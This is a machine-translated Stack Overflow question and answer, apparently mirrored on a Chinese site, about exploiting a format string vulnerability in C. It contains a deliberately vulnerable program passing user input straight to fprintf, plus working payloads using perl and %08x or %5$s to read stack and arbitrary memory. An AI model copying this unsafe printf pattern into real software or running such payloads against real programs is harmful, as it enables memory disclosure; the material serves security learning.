簡體   English   中英

直接參數訪問不起作用,在C中使用printf

[英]Direct Parameter Access not working, using printf in C

我正在做一些計算機安全性研究,並且試圖了解有關字符串格式的漏洞。 我正在運行一個包含以下代碼的程序:

char buf[1<<5];
strncpy(buf, data, sizeof(buf));
buf[sizeof(buf)-1]='\0';
fprintf(stderr, buf);

當我向程序輸入參數“%08x。%08x。%08x。%08x。%08x”(將其讀入“數據”變量)時,我得到的輸出是:00000020.b7fd7560.08048b09.00000019.78383025

我知道每個十六進制數字都會從堆棧中彈出,並且“ 78383025”來自緩沖區本身。 所以有4個字--16個字節-在到達緩沖區的開頭之前,我必須彈出。

當我給參數`perl -e 'print "\\x2a\\xf9\\xff\\xbf%08x.%08x.%08x.%08x_%s_";'` ,%s部分將打印位於內存地址0xbffff92a的字符串。

現在,我想使用直接參數訪問來執行此操作。 如果我在程序中輸入參數`perl -e 'print "\\x2a\\xf9\\xff\\xbf%16$s";'` ,我應該期望程序執行與上述相同的操作。 但是所有程序打印的內容都是緩沖區開頭的四個字符。 那么,什么給了??? 我是否為DPA使用了錯誤的語法??? 我正在使用32位的Ubuntu 9.04。

這是一些可編譯的代碼,盡管不能保證產生相同的結果:

#include <stdio.h>

void run(const char* data) {
    char buf[1<<5];
    strncpy(buf, data, sizeof(buf));
    buf[sizeof(buf) - 1] = '\0';
    fprintf(stderr, buf);
}

int main(int argc, char* argv[]) {
    run(argv[1]);
    return 0;
}

%16$s引用格式字符串后的第16個參數,並告訴printf將其解釋為char*並將其顯示為字符串。

您似乎正在使用它作為在獲取字符串之前跳過16個字節的方法,但這並不完全相同。

由於您需要第5個參數,因此請嘗試使用類似以下格式的字符串:

"\x2a\xf9\xff\xbf%5$s"

由於您正在使用perl -e 'print "...";' 要傳遞數據,您必須轉義$字符。 IE瀏覽器。

./a.out `perl -e 'print "\x2a\xf9\xff\xbf%5\\\$s";'`

暫無
暫無

聲明:本站的技術帖子網頁,遵循CC BY-SA 4.0協議,如果您需要轉載,請注明本站網址或者原文地址。任何問題請咨詢:yoyou2525@163.com.

 
粵ICP備18138465號  © 2020-2024 STACKOOM.COM